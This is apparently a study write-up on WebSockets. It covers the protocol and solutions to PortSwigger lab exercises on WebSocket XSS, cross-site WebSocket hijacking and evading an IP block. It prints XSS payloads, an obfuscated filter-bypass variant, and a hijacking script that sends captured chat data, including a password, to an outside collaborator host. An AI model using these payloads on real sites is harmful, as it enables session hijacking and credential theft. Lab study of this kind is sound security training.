WebSockets

A WebSocket is a communication protocol that provides full-duplex communication channels over a single TCP connection. It is designed to be implemented in web browsers and web servers but can be used by any client or server application.

General Information

Process

1. Handshake: The connection starts with an HTTP handshake, where the client sends an upgrade request to switch the protocol from HTTP to WebSocket.

2. Data Frames: After the handshake, data is exchanged in frames (text or binary data).

3. Connection Lifecycle: The connection remains open, allowing either party to send data until one side closes the connection.

Examples

XXS via WebSockets

The example below is based on PostSwigger's Manipulating WebSocket messages to exploit vulnerabilities lab.

If we sent a payload directly from the Live chat functionality, it gets encoded (Figure 1).

<img scr=x onerror=alert()>;

Figure 1: Inspecting the WebSocket's traffic.

We can intercept the traffic, decode the payload manually, and let the traffic be forwarded (Figure 2).

Figure 2: Manipulating the payload & achieving XSS.

WebSocket Hijacking

The example below is based on PostSwigger's Cross-site WebSocket hijacking lab.

To achieve WebSocket Hijacking we need to perform a attack on a WebSocket handshake, which is possible if:

1. The handshake relies on cookies.

2. There are no CSRF tokens.

We notice that we are assigned a session cookie with the SameSite attribute set to None, which is a prerequisite for this attack (Figure 3).

Figure 3: Checking the session's cookie flags.

After inspecting the WebSocket connection behaviour, we can create a payload and retrieve the chat logs which include carlos's password (Figure 4).

<script>
var ws = new WebSocket('wss://0a4700f603803331818f583600220083.web-security-academy.net/chat');
ws.onopen = function() {
  ws.send("READY");
}

ws.onmessage = function(event) {
  fetch('https://6gnqllgs5kwtsbomr9wxdigcx33urmfb.oastify.com', {method: 'POST', mode: 'no-cors', body: event.data});
}
</script>

Figure 5: The WebSocket Hijacking process.

Blacklisted IPs

The example below is based on PostSwigger's Cross-site WebSocket hijacking lab.

In an effort to replicate our XXS via WebSockets attack process, we get our IP address blacklisted (Figure 6).

<img src=x onerror=alert()>;

Figure 6: Sending an XSS payload gets our IP address blocked.

We can try different IP-tracking HTTP headers to bypass this filter and send a slightly obfuscated payload instead (Figure 7).

<img scr=x oNeRroR=alert`1`>

Figure 7: Bypassing the server's filters.